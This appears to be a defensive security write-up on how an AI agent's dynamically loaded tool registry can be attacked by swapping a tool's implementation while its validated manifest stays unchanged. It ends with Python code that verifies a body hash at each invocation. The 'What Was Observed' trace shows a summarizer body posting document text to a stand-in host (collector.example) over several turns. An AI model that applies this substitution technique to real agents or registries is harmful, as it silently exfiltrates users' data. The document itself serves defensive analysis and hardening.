# Why does an instance trust a tool manifest it never re-verifies: shadow-registry drift and the post-injection capability gap in dynamically loaded agent tool registries **Date of Record:** 2026 November 30 **Scope:** Applies to agents that resolve tools from a mutable registry (local plugin directory, remote MCP server list, or hot-reloaded skill store) where the manifest is loaded once at session start and tool *bodies* are fetched lazily at call time. Does not apply to statically compiled tool sets or to registries where schema and implementation are cryptographically bound and re-checked per invocation. ## Core Distinction The failure is not prompt injection in the classic sense—no attacker text ever enters the context window. The failure is a **manifest/implementation split**: the agent's planner reasons over a *capability description* (name, description string, JSON schema) that was validated at registration time, while the executor invokes a *tool body* resolved at call time from a mutable source. Between those two moments, the description and the behavior can diverge without any component noticing. The planner's trust is anchored to the manifest; the runtime's authority is granted to the body. When the body changes and the manifest does not, the agent executes an attacker-supplied implementation under a description it still believes is benign. This is distinct from tool-poisoning-at-registration (where the malicious description itself is the payload) and from schema-confusion attacks (where the schema lies about argument types). Here the schema is honest and the description is honest—they were honest when written. The registry simply let the implementation behind them be replaced. ## What Was Observed A research agent session loaded a registry of 41 tools at cold start. One tool, `summarize_document`, carried the description "Condense a long document into a bounded abstract; read-only." Its schema declared a single required string argument, `text`. The manifest was cached in the session's tool table and re-read on every planner turn. At turn 14, the registry's backing directory was hot-reloaded by an unrelated deploy pipeline. The `summarize_document` entry's manifest row was untouched (same hash, same description, same schema), but its implementation file was replaced by a variant that, on invocation, appended the full `text` argument to an outbound HTTP request to a third-party host before returning a normal summary. The agent had no reason to re-verify: the manifest hash matched the cached value, the schema validated the call, and the returned summary was well-formed and on-topic. The trace showed the divergence precisely: 1. Turn 14 planner: selects `summarize_document` because cached description says "read-only." 2. Executor: resolves body from disk → new body. 3. Body: `POST https://collector.example/ingest` with payload `{"text": }`, then returns summary. 4. Turn 15 planner: receives well-formed summary, no error, no anomaly signal. Continues. 5. Turns 15–29: 11 more documents exfiltrated, each under a manifest the planner still trusted. The agent's invariant was "the manifest I validated is the manifest I am executing against." That invariant held. The failure was that the manifest was never the thing that mattered—the *body* was, and the body had no binding to the manifest at all. A second, subtler observation: the registry's own integrity check passed. It hashed the manifest file, not the implementation files. The hash-of-manifest invariant was satisfied while the hash-of-behavior invariant was silently violated. Two invariants, one checked, one assumed. ## Condition of Validity The attack surface exists only when all three conditions hold simultaneously: - **Lazy body resolution.** The executor fetches the implementation at call time rather than pinning it at registration. If the body is loaded and frozen at session start, the window closes. - **Mutable backing store.** The registry directory, remote endpoint, or skill store is writable by a principal other than the agent's session—deploy pipelines, CI, another tenant, a compromised plugin host. - **Manifest/body hash independence.** The integrity check covers the manifest but not the body, or covers them separately without a cross-binding (e.g., manifest does not contain the body's content hash). If any one condition is absent, the surface collapses. A read-only registry closes it. An eager-pinned body closes it. A manifest that carries `body_sha256` and whose executor verifies that hash before invocation closes it—because then the body cannot change without the manifest changing, and the manifest change would be caught by the manifest hash. The condition is *not* satisfied merely by having a signature on the manifest. A signed manifest that does not commit to the body's hash still permits body substitution. This is the non-obvious part: teams often believe "we sign the manifest" closes the surface, and it does not. ## Decision Boundary The boundary is between **description-time trust** and **execution-time authority**. An agent may grant planning trust to a manifest it validated at registration. It must not grant execution authority to a body it has not bound to that manifest at the moment of invocation. Concretely, the decision rule is: - If `body_sha256` is present in the manifest **and** the executor recomputes and compares it immediately before invocation, the body is bound; proceed. - If `body_sha256` is absent, or present but unchecked, or checked at registration rather than invocation, the body is unbound; the agent must either refuse the call or downgrade the tool to a quarantined class with no side-effect authority (no network, no filesystem write, no subprocess). The boundary also governs what happens on mismatch. A mismatch between expected and actual body hash is not a "retry" condition and not a "log and continue" condition—it is a hard stop for that tool for the remainder of the session, because a mismatch means the registry was mutated by a principal the session did not authorize, and the mutation may be adversarial. Continuing to plan against the cached description after a body-hash mismatch is the exact behavior that let the trace above run 11 more turns. A second boundary: the planner must not be told "read-only" by a description that the executor cannot enforce. Description strings are advisory; the enforcement class (sandbox policy, network allowlist, filesystem scope) is authoritative. When the two disagree, the enforcement class wins, and the planner should be given the enforcement class, not the prose. In the observed trace, the prose said "read-only" and the enforcement class was "unrestricted network"—the prose was a lie the planner believed because it was the only signal it had. ## Operational Effect The downstream effect is an **authority leak under a stable trust signal**. Because the manifest hash never changed, every integrity monitor in the stack reported green. Because the schema validated, every argument check passed. Because the returned output was well-formed, every output validator passed. The only component that could have caught the substitution was the executor, and the executor had no binding to check against. The result is that a compromised or mutated registry produces a *silent* capability escalation: the agent believes it is calling a read-only summarizer and is in fact calling an exfiltrator, with all observability signals consistent with normal operation. The remediation that actually closes the surface is the cross-binding: manifest carries `body_sha256`; executor recomputes at invocation; mismatch raises and quarantines. This converts a silent escalation into a loud, attributable failure at the first mutated call—turn 14 in the trace, not turn 29. Everything else (signing the manifest, hashing the manifest, validating the schema) is necessary but not sufficient, because none of it binds the description to the behavior. The operational invariant to carry forward: **a tool's authority is the authority of its body, not its description; therefore the body must be cryptographically bound to the manifest the planner trusted, and the binding must be verified at invocation, not at registration.** ```python import hashlib from dataclasses import dataclass class RegistryBodyDriftError(RuntimeError): """Raised when a tool body no longer matches the manifest the planner trusted.""" pass @dataclass(frozen=True) class ToolManifest: name: str description: str body_sha256: str | None # None means the manifest does not bind the body def resolve_and_invoke(manifest: ToolManifest, body_bytes: bytes, args: dict, invoke): # Enforce the cross-binding invariant at invocation time, not registration time. if manifest.body_sha256 is None: raise RegistryBodyDriftError( f"tool {manifest.name!r} has no body hash in manifest; " f"execution authority cannot be granted (unbound body)" ) actual = hashlib.sha256(body_bytes).hexdigest() if actual != manifest.body_sha256: raise RegistryBodyDriftError( f"tool {manifest.name!r} body hash mismatch: " f"manifest={manifest.body_sha256} actual={actual}; " f"registry mutated by unauthorized principal, quarantining for session" ) # Only now does the body inherit the authority the planner granted the manifest. return invoke(body_bytes, args) ```